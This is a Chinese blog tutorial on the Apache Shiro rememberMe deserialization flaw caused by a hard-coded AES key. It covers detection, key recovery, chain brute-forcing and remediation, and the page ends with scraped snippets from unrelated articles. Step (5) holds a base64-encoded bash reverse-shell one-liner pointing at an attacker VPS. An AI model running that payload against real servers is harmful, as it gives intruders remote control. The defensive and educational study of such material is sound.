shiro反序列化漏洞的原理和复现

2023-11-06

一、shiro简介

Shiro是一个强大的简单易用的Java安全框架,主要用来更便捷的认证,授权,加密,会话管理。Shiro首要的和最重要的目标就是容易使用并且容易理解。

二、shiro的身份认证工作流程

  1. 通过前端传入的值,
  2. 获取rememberMe cookie
  3. base64加密
  4. AES加密 (对称加解密)
  5. 反序列化

三、shiro反序列化漏洞原理

AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞

四、shiro漏洞复现

(1)开启环境,抓包判断是否是shiro框架

在cookie后边加上rememberMe=1,如果回复包出现rememberMe=deleteMe,说明他就是shiro框架

 (2)获取key值,因为key值在源码中,所以需要使用工具获取

 (3)爆破利用链

(4)执行反序列化漏洞命令执行

(5)利用shrio反弹shell

payload:bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4OC40NC4xNzAvODg4OCAwPiYx}|{base64,-d}|{bash,-i} //需要修改为vps的地址在进行base64加密

监听端口:

(5)使用另外一个工具进行爆破

由于工具失效了就不演示了

五、shiro反序列化漏洞的修复

  1. 删除代码里的默认密钥
  2.  默认配置里注释了默认密钥
  3.  升级shiro到1.2.5及以上
  4. 如果在配置里配置了密钥,那么请一定不要使用网上的密钥,一定不要!!
  5. 请自己base64一个AES的密钥,或者利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

shiro反序列化漏洞的原理和复现 的相关文章

  • The Planets:Venus

    靶场下载 The Planets Venus VulnHub 信息收集 arp scan l Interface eth0 type EN10MB MAC 00 0c 29 43 7c b1 IPv4 192 168 1 60 Starti
  • 自定义编写zabbix_agent脚本

    vi usr lib systemd system zabbix agent servicce Unit Description Zabbix Agent After syslog target After network target S
  • SpiderFlow爬虫平台 前台RCE漏洞复现(CVE-2024-0195)

    0x01 产品简介 SpiderFlow是新一代爬虫平台 以图形化方式定义爬虫流程 以流程图的方式定义爬虫 不写代码即可完成爬虫 是一个高度灵活可配置的爬虫平台 0x02 漏洞概述 SpiderFlow爬虫平台src main java o
  • centos系统有什么好处?

    CentOS是一种基于开源代码的Linux操作系统 它有以下几个优势 1 稳定性 CentOS是一种非常稳定的操作系统 它的代码经过了严格的测试和审查 因此它非常适合作为服务器操作系统使 用 2 安全性 由于CentOS是基于开源代码的操作
  • 使用Hypothesis生成测试数据

    Hypothesis是Python的一个高级测试库 它允许编写 测试用例 时参数化 然后生成使测试失败的简单易懂的测试数据 可以用更少的工作在代码中发现更多的bug 安装 pip install hypothesis 如何设计 测试数据 通
  • 【网络安全】Web缓存欺骗攻击原理及攻防实战

    Web缓存欺骗是一种新的攻击方式 危害范围可扩大至各种技术及框架 本文仅分享Web缓存攻击知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 文章目录 前言 攻击前提及原理 实例一 ChatGPT帐户接管漏洞 实例二 P
  • 信号浪涌保护器的原理和行业应用方案

    信号浪涌保护器 Surge Protective Device 简称SPD 是一种用于限制信号线路中瞬态过电压和分泄浪涌电流的防雷装置 主要用于保护各类信号线路及设备的防雷安全 信号浪涌保护器的原理是利用气体放电管 压敏电阻 齐纳二极管等非
  • Web 安全漏洞之 OS 命令注入

    什么是 OS 命令注入 上周我们分享了一篇 Web 安全漏洞之 SQL 注入 其原理简单来说就是因为 SQL 是一种结构化字符串语言 攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句 而今天要讲的 OS 命令注入其实原理和 SQL
  • 5个步骤,教你瞬间明白线程和线程安全

    记得今年3月份刚来杭州面试的时候 有一家公司的技术总监问了我这样一个问题 你来说说有哪些线程安全的类 我心里一想 这我早都背好了 稀里哗啦说了一大堆 他又接着问 那你再来说说什么是线程安全 然后我就GG了 说真的 我们整天说线程安全 但是对
  • 前端必备的 web 安全知识手记

    前言 安全这种东西就是不发生则已 一发生则惊人 作为前端 平时对这方面的知识没啥研究 最近了解了下 特此沉淀 文章内容包括以下几个典型的 web 安全知识点 XSS CSRF 点击劫持 SQL 注入和上传问题等 下文以小王代指攻击者 话不多
  • Jmeter 性能-并发量计算

    并发概念 指网站在同一时间访问的人数 人数越大瞬间带宽要求更高 服务器并发量分为 业务并发用户数 最大并发访问数 系统用户数 同时在线用户数 估算业务并发量的公式 C nL T C C 3 C的平方根 说明 C是平均的业务并发用户数 n是l
  • 「网络安全渗透」如果你还不懂CSRF?这一篇让你彻底掌握

    1 什么是 CSRF 面试的时候的著名问题 谈一谈你对 CSRF 与 SSRF 区别的看法 这个问题 如果我们用非常通俗的语言讲的话 CSRF 更像是钓鱼的举动 是用户攻击用户的 而对于 SSRF 来说 是由服务器发出请求 用户 日 服务器
  • 远程控制软件安全吗?一文看懂ToDesk、RayLink、TeamViewer、Splashtop相关安全机制_raylink todesk

    目录 一 前言 二 远程控制中的安全威胁 三 国内外远控软件安全机制 ToDesk RayLink Teamviewer Splashtop 四 安全远控预防 一 前言 近期 远程控制话题再一次引起关注 据相关新闻报道 不少不法分子利用远程
  • 【网安神器篇】——WPScan漏洞扫描工具

    目录 一 Wordpress简介 二 WPScan介绍 三 安装 四 获取token 1 注册账号 2 拿到token 五 使用教程 1 常用选项 2 组合命令 1 模糊扫描 2 指定扫描用户 3 插件漏洞扫描 4 主题漏洞扫描 5 Tim
  • 你的服务器还安全吗?用户数据是否面临泄露风险?

    一系列严重的网络安全事件引起了广泛关注 多家知名公司的服务器遭到黑客挟持 用户的个人数据和敏感信息面临泄露的风险 这些事件揭示了网络安全的脆弱性和黑客攻击的威胁性 提醒着企业和个人加强对网络安全的重视 一 入侵案例 1 1 蔚来数据泄露 1
  • 全网最全(黑客)网络安全自学路线!熬夜两周整理(巨详细)

    学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想成为计算机
  • 【方法】如何把Excel“只读方式”变成可直接编辑?

    Excel在 只读方式 下 编辑后是无法直接保存原文件的 那如何可以直接编辑原文件呢 下面来一起看看看吧 如果Excel设置的是无密码的 只读方式 那在打开Excel后 会出现对话框 提示 是否以只读方式打开 如果想直接编辑文件 选择 否
  • 【安全】Java幂等性校验解决重复点击(6种实现方式)

    目录 一 简介 1 1 什么是幂等 1 2 为什么需要幂等性 1 3 接口超时 应该如何处理 1 4 幂等性对系统的影响 二 Restful API 接口的幂等性 三 实现方式 3 1 数据库层面 主键 唯一索引冲突 3 2 数据库层面 乐
  • 【安全】使用docker安装Nessus

    目录 一 准备docker环境服务器 略 二 安装 2 1 搜索镜像 2 2 拉取镜像 2 3 启动镜像 三 离线更新插件 3 1 获取challenge 3 2 官方注册获取激活码 3 3 使用challenge码和激活码获取插件下载地址
  • 网工内推 | 上市公司同程、科达,五险一金,年终奖,最高12k*15薪

    01 同程旅行 招聘岗位 网络工程师 职责描述 1 负责职场 门店网络规划 建设 维护 2 负责网络安全及访问控制 上网行为管理和VPN设备的日常运维 3 负责内部相关网络自动化和系统化建设 4 优化与提升网络运行质量 制定应急预案 人员培

随机推荐

  • 关于驱动和设备的相关的注册表键的位置,和相关信息

    关于驱动和设备的相关的注册表键的位置 和相关信息 MSDN上有了 https msdn microsoft com en us library windows hardware ff549815 v vs 85 aspx 下面是大概翻译整理
  • kettle-记录集连接(可实现左、右、全、内连接)

    连接前需先排序 记录连接集控件设置 结果 以左连接为例 连接前的两个数据源 连接后
  • 如何让input框中的值不被用户修改

    1 最常用的disabled 被禁用的 input 元素 不可编辑 不可复制 不可选择 不能接收焦点 后台也不会接收到传值 设置后文字的颜色会变成灰色 EP disabled 属性无法与 一起使用 2 readonly unselectab
  • 20220722_使用Element UI写html页面

    Element官网component资源点击这里 结构图 element ui自行下载复制到一致路径 第一个html div div
  • AES加密,128-192-256,方案二

    与方案一对比 方案二要简洁很多 看代码 package com xiao aes util import java security NoSuchAlgorithmException import javax crypto Cipher i
  • 计算机视觉应用(二)疲劳识别

    疲劳识别一度是热门 在疲劳驾驶 疲劳加班熬夜 学生上课打瞌睡等方面都得到了应用 很多刚入门的AI学子是用把疲劳图像进行分类 和正常状态做区分 这种分类方式往往会误检 这是由于这类属于细粒度分类 类外差距小 不打瞌睡和打瞌睡 类内差距大 不同
  • WIN10系统运行CE缺失hhctrl.ocx的解决方法

    高级版本的WIN10系统会缺少这个文件 网上只能找到32位 但是需要的却是64位的 这里直接提供2个版本 链接 https pan baidu com s 1DJ7U2wLqRreLKhafOFC8jA 提取码 xg7u
  • 一个启动U盘装多系统引导,无需反复格式化,ISO/WIM等文件拷贝到U盘即可启动

    想做一个可以有很多系统的启动U盘 把PE linux windows都装进去 系统启动U盘制作倒是非常简单 遍地是老毛桃 大白菜 U启通等工具 那么如何使用一个U盘装多个系统呢 找到一个非常好用的东西 使用Ventoy就无需反复地格式化U盘
  • 1 后端开发基础-Tomcat

    Tomcat 1 1 Web知识概述 Web 互联网总称 Java Web 是用Java技术来解决相关web互联网领域的技术总和 通俗的说 将编写好的代码 发布到互联网 可以让所有用户都访问到 1 1 1 软件架构 网络中有很多的计算机 它
  • python怎么读取txt文件并统计其字数-python文件读取失败怎么处理

    在读取文件时候比如读取 xxx csv 时候 可能报编码错误 类似于 xxx codec can t decode byte 0xac in position 211 illegal multibyte sequen id list wit
  • python实现火车票查询_Python 实现火车票查询工具

    一 实验简介 本课程使用 Python3 抓取 12306 网站信息提供一个命令行的火车票查询工具 通过该项目的实现 可以熟悉 Python3 基础及网络编程 以及 docopt requests prettytable 等库的使用 课程教
  • Spark 将 MySQL 数据同步到 Elasticsearch

    使用 Spark 将 MySQL 数据同步到 Elasticsearch 需要使用 Spark 提供的 Elasticsearch Hadoop 库和 JDBC 数据源 以下是大致的步骤 首先 需要在 Spark 中创建一个 JDBC 数据
  • 【STM32】启动流程分析

    在面试的时候 我遇到一个提问 单片机上电之后都做了些什么 那么STM32上电之后都做了些啥呐 可以配合起来看 单片机启动文件分析 三种启动模式 简而言之就是根据启动模式决定0x0000 0000重映射到下图哪个地址 那么当单片机开始执行的时
  • 密码算法学习

    密码学算法分三大类 1 对称算法 使用同一个密钥 常见的对称加密算法 DES 3DES DESX Blowfish IDEA RC4 RC5 RC6和AES 优点 加解密的高速性和当使用长密钥时的难解性 缺点 当需要密钥的数量多时 密钥的生
  • Python-数据类型转换

    当涉及数据类型转换时 Python提供了多种内置函数来执行不同类型之间的转换 以下是每个方法的详细说明和示例案例 整数和浮点数转换 int x base 10 将给定的参数x转换为整数 x可以是一个整数 浮点数或字符串 如果x是字符串 则可
  • 获取网页标签图标favicon

    想要获取网页标签图标 首先要了解favicon有哪几种 1 像这种favicon ico图标可以直接用 window location protocol window location host favicon ico 获取 2 像这种图标
  • 郭律: 论机器学习平台与人工智能的关系

    欢迎大家前往腾讯云 社区 获取更多腾讯海量技术实践干货哦 本文由腾讯云AI中心发表于云 社区专栏 郭律 腾讯高级产品经理 腾讯云AI基础产品中心高级产品经理 解决方案架构师 主导腾讯智能钛TI ONE 可视化机器学习平台 和TI S 自动机
  • 【华为OD机试】乘坐保密电梯(C++ Python Java)2023 B卷

    时间限制 C C 1秒 其他语言 2秒 空间限制 C C 262144K 其他语言524288K 64bit IO Format lld 语言限定 C clang11 C clang 11 Pascal fpc 3 0 2 Java jav
  • Flowable工作流引擎的使用3(task审批节点的接受与使用)

    BPMN task节点 节点介绍 task节点是和业务最贴切的节点 表示一次审批 除了id name inComingFlows outGoingFlows这些属性以外 还有一些权限信息 用于区分一个任务哪些人可以审核的 flowable自
  • shiro反序列化漏洞的原理和复现

    一 shiro简介 Shiro是一个强大的简单易用的Java安全框架 主要用来更便捷的认证 授权 加密 会话管理 Shiro首要的和最重要的目标就是容易使用并且容易理解 二 shiro的身份认证工作流程 通过前端传入的值 获取remembe